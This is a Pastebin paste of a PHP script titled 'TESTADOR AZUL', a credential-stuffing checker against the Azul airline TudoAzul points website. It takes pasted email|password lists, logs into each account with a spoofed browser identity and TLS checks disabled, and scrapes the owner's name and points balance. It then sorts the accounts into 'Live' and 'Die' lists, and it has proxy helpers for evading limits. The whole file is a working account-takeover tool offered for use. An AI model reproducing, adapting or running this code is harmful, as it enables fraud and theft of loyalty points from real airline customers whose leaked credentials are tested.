Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- class Azul
- {
- private $Auth;
- private $Saldo;
- private $Nome;
- private $Estado;
- function __construct()
- {
- $this->Auth = false;
- $this->Saldo = 0;
- $this->Nome = "";
- $this->Estado = "";
- }
- function RandomImei()
- {
- $code = $this->RandomInt(14);
- $position = 0;
- $total = 0;
- while ($position < 14) {
- if ($position % 2 == 0) {
- $prod = 1;
- } else {
- $prod = 2;
- }
- $actualNum = $prod * $code[$position];
- if ($actualNum > 9) {
- $strNum = strval($actualNum);
- $total += $strNum[0] + $strNum[1];
- } else {
- $total += $actualNum;
- }
- $position++;
- }
- $last = 10 - ($total % 10);
- if ($last == 10) {
- $imei = $code . 0;
- } else {
- $imei = $code . $last;
- }
- return $imei;
- }
- function RandomInt($size)
- {
- $validCharacters = utf8_decode("0123456789");
- $validCharNumber = strlen($validCharacters);
- $int = '';
- while (strlen($int) < $size) {
- $index = mt_rand(0, $validCharNumber - 1);
- $int .= $validCharacters[$index];
- }
- return $int;
- }
- function GetStr($String, $FindStart, $FindEnd)
- {
- $Start = stripos($String, $FindStart);
- if($Start === false) return "";
- $length = strlen($FindStart);
- $End = stripos(substr($String, $Start + $length), $FindEnd);
- return trim(substr($String, $Start + $length, $End));
- }
- function WebLogin ($User , $Password)
- {
- $Response = array();
- $ch = curl_init();
- $PostData = '{"user:"'.$User.'","password":"'.$Password.'","IdentificationFlag":"passaporte"}';
- curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/Home");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
- $result = curl_exec($ch);
- //echo $result;
- $Sky = $this->GetStr($result,'SkySalesToken=',';');
- $USession = $this->GetStr($result,'ASP.NET_SessionId=',';');
- curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/Home/Login");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_COOKIE, "SkySalesToken=$Sky;ASP.NET_SessionId=$USession;");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
- $headers = array();
- $headers[] = "Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4";
- $headers[] = "Content-Type: application/json; charset=UTF-8";
- $headers[] = "Accept: application/json, text/javascript, */*; q=0.01";
- $headers[] = "X-Requested-With:XMLHttpRequest";
- $headers[] = "Connection: keep-alive";
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, '{ username: "'.$User.'", password: "'.$Password.'" }');
- $result = curl_exec($ch);
- //echo $result;
- $USession = $this->GetStr($result,'ASP.NET_SessionId=',';');
- $BIGip = $this->GetStr($result,'BIGipServerpool-WEBEXTTB578=',';');
- if (strpos($result, '{"success":true,"message":""') != false)
- {
- curl_setopt($ch, CURLOPT_URL, "https://apps.voeazul.com.br/VendaPontosTudoAzul/VendaPontos");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_REFERER, "https://apps.voeazul.com.br/VendaPontosTudoAzul/VendaPontos");
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_COOKIE, "ASP.NET_SessionId=$USession;BIGipServerpool-WEBEXTTB578=$BIGip;");
- curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
- $headers = array();
- $headers[] = "Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4";
- $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8";
- $headers[] = "Connection: keep-alive";
- curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
- $result = curl_exec($ch);
- $Gathered["Nome"] = $this->GetStr($result,'<p class="username">','</p>');
- $Gathered["Saldo"] = $this->GetStr($result,'<span class="points" id="balance">','</span>');
- return "<b style=\'color:yellow\' >".$Gathered["Nome"]."</b>| Pontos : <b style=\'color:white\' >".$Gathered["Saldo"]."</b>";
- }else {
- return false;
- }
- curl_close ($ch);
- }
- }
- $Azul = new Azul();
- //echo ;
- $sock = '';
- echo '
- <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <head><title>TESTADOR AZUL</title></head>
- <style>
- body
- {
- background-color: #141619;
- font-size: 9pt;
- font-family:Verdana;
- line-height:12pt;
- }
- body,td,th {
- color: #FFFFFF;
- }
- h2
- {
- color: #FFFFFF;
- }
- h1 {
- padding: 10px 15px;
- color: red;
- }
- .main-content {
- width: 70%; height: 380px;margin: auto; background: #141619; border-radius: 5px 5px 5px 5px; box-shadow: 0 0 3px rgba(0, 0, 0, 0.5); min-height: 380px; position: relative;
- }
- textarea, input {
- border-radius: 5px 5px 5px 5px;
- }
- input {
- height: 14px;width: 30px;text-align: center;o
- }
- .button {
- }
- .submit-button
- {
- background: #57A02C;
- border:solid 1px #57A02C;
- border-radius:5px;
- -moz-border-radius: 5px;
- -webkit-border-radius: 5px;
- -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
- -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
- text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
- border-bottom: 1px solid rgba(0,0,0,0.25);
- position: relative;
- color:#FFF;
- display: inline-block;
- cursor:pointer;
- font-size:13px;
- padding:3px 8px;
- height: 30px;width: 120px;
- }
- .submit-button:hover {
- background:#82D051;border:solid 1px #86CC50;
- height: 30px;width: 120px; }
- #show {
- width: 70%;margin: auto;padding: 10px 10px;
- }
- .business{
- font-weight:bold;
- color:yellow;
- }
- .premier{
- font-weight:bold;
- color:#00FF00;
- }
- .verified{
- font-weight:bold;
- }
- .fieldset{
- border: 1px dashed #FFFFFF;
- margin-top: 20px;
- }
- .tvmit_live{
- border: 1px dashed #FFFFFF;
- color:green;
- font-weight:bold;
- }
- .tvmit_die{
- border: 1px dashed #FFFFFF;
- color:red;
- font-weight:bold;
- }
- #result{
- display:none;
- }
- </style>
- <script type="text/javascript">
- function pushAprovadaDie(str){
- document.getElementById(\'listPaypalDie\').innerHTML += \'<div>\' + str + \'</div>\';
- }
- function pushAprovada(str){
- document.getElementById(\'listPaypal\').innerHTML += \'<div>\' + str + \'</div>\';
- }
- function pushWrongFormat(str){
- document.getElementById(\'listWrongFormat\').innerHTML += \'<div>\' + str + \'</div>\';
- }
- </script>
- </head>
- <body>
- <div class="main-content">
- <center><h1>TESTADOR AZUL</h1></center>
- <form method="post">
- <div align="center"><textarea placeholder="EMAIL|SENHA" name="mp" rows="10" style="width:90%">';
- if (isset($_POST['btn-submit']))
- echo $_POST['mp'];
- ;
- echo '</textarea><br><br />
- SEPARADOR: <input type="text" name="delim" value="';
- if (isset($_POST['btn-submit']))
- echo $_POST['delim'];
- else
- echo '|';
- ;
- echo '" size="1" /><input type="hidden" name="mail" value="';
- if (isset($_POST['btn-submit']))
- echo $_POST['mail'];
- else
- echo 0;
- ;
- echo '" size="1" /><input type="hidden" name="pwd" value="';
- if (isset($_POST['btn-submit']))
- echo $_POST['pwd'];
- else
- echo 1;
- ;
- echo '" size="1" />
- </BR>
- <br><input type="submit" class = "submit-button" value="CHECAR" name="btn-submit" /> </br>
- </div>
- </form>
- ';
- set_time_limit(0);
- //include("use.php");
- $dir = dirname(__FILE__);
- $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
- if (!file_exists($config['cookie_file'])) {
- $fp = @fopen($config['cookie_file'], 'w');
- @fclose($fp);
- }
- $zzz = "";
- $live = array();
- function get($list) {
- preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
- return $socks[0];
- }
- function delete_cookies() {
- global $config;
- $fp = @fopen($config['cookie_file'], 'w');
- @fclose($fp);
- }
- function xflush() {
- static $output_handler = null;
- if ($output_handler === null) {
- $output_handler = @ini_get('output_handler');
- }
- if ($output_handler == 'ob_gzhandler') {
- return;
- }
- flush();
- if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
- @ob_flush();
- } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
- @ob_end_flush();
- @ob_start();
- }
- }
- function curl_grab_page($site,$proxy,$proxystatus){
- $chss = curl_init();
- curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
- if ($proxystatus == 'on') {
- curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
- curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
- curl_setopt($chss, CURLOPT_PROXY, $proxy);
- }
- curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
- curl_setopt($chss, CURLOPT_URL, $site);
- return curl_exec($chss);
- curl_close ($chss);
- }
- function display($str) {
- echo '<div>' . $str . '</div>';
- xflush();
- }
- function pushAprovadaDie($str) {
- echo '<script type="text/javascript">pushAprovadaDie(\'' . $str . '\');</script>';
- //file_put_contents('authmonster/die.txt', $str . PHP_EOL, FILE_APPEND);
- xflush();
- }
- function pushAprovada($str) {
- echo '<script type="text/javascript">pushAprovada(\'' . $str . '\');</script>';
- xflush();
- }
- function pushWrongFormat($str) {
- echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
- xflush();
- }
- if (isset($_POST['btn-submit'])) {
- ;
- echo '<br/>
- <br/>
- <br/>
- <br/>
- <br/>
- <br/>
- <br/>
- <legend class="tvmit_live">LIVE:<br/><div id="listPaypal"></div></legend>
- <br/>
- <legend class="tvmit_die">DIE:<br/><div id="listPaypalDie"></div></legend>
- <br/>
- <legend class="tvmit_die">INVALIDAS: <br/><div id="listWrongFormat"></div></legend>
- ';
- xflush();
- $emails = explode("\n", trim($_POST['mp']));
- $eCount = count($emails);
- $failed = $live = $uncheck = array();
- $checked = 0;
- if (!count($emails)) {
- continue;
- }
- delete_cookies();
- //$sockClear = isSockClear();
- //if ($sockClear != 1) {
- //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
- //continue;
- //}
- foreach ($emails AS $k => $line) {
- $info = explode($_POST['delim'], $line);
- $email = trim($info["{$_POST['mail']}"]);
- $pwd = trim($info["{$_POST['pwd']}"]);
- if (strlen($pwd) < 5) {
- unset($emails[$k]);
- pushWrongFormat($email . ' | ' . $pwd);
- continue;
- }
- //if ($failed[$sock] > 4)
- // continue;
- //
- $checked++;
- $Check = $Azul->WebLogin($email,$pwd);
- xflush();
- if ($Check != false)
- {
- $xyz = "<b style=\"color:green\">Live</b> => $email|$pwd|{$Check}<b style=\"color:green\" ></b> <b style=\"color:blue\">#CentralBoa</b>";
- $live[] = $xyz;
- unset($emails[$k]);
- pushAprovada($xyz);
- xflush();
- }
- else{
- pushAprovadaDie("<b style=\"color:red\">Die</b> => $email | $pwd ");
- xflush();
- unset($emails[$k]);
- }
- }
- }
- //if (isset($eCount, $live)) {
- // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
- // display(implode("<br />", $live));
- if (@count($emails)) {
- display("Sem Testar:");
- display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
- }
- echo '</body>
- </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement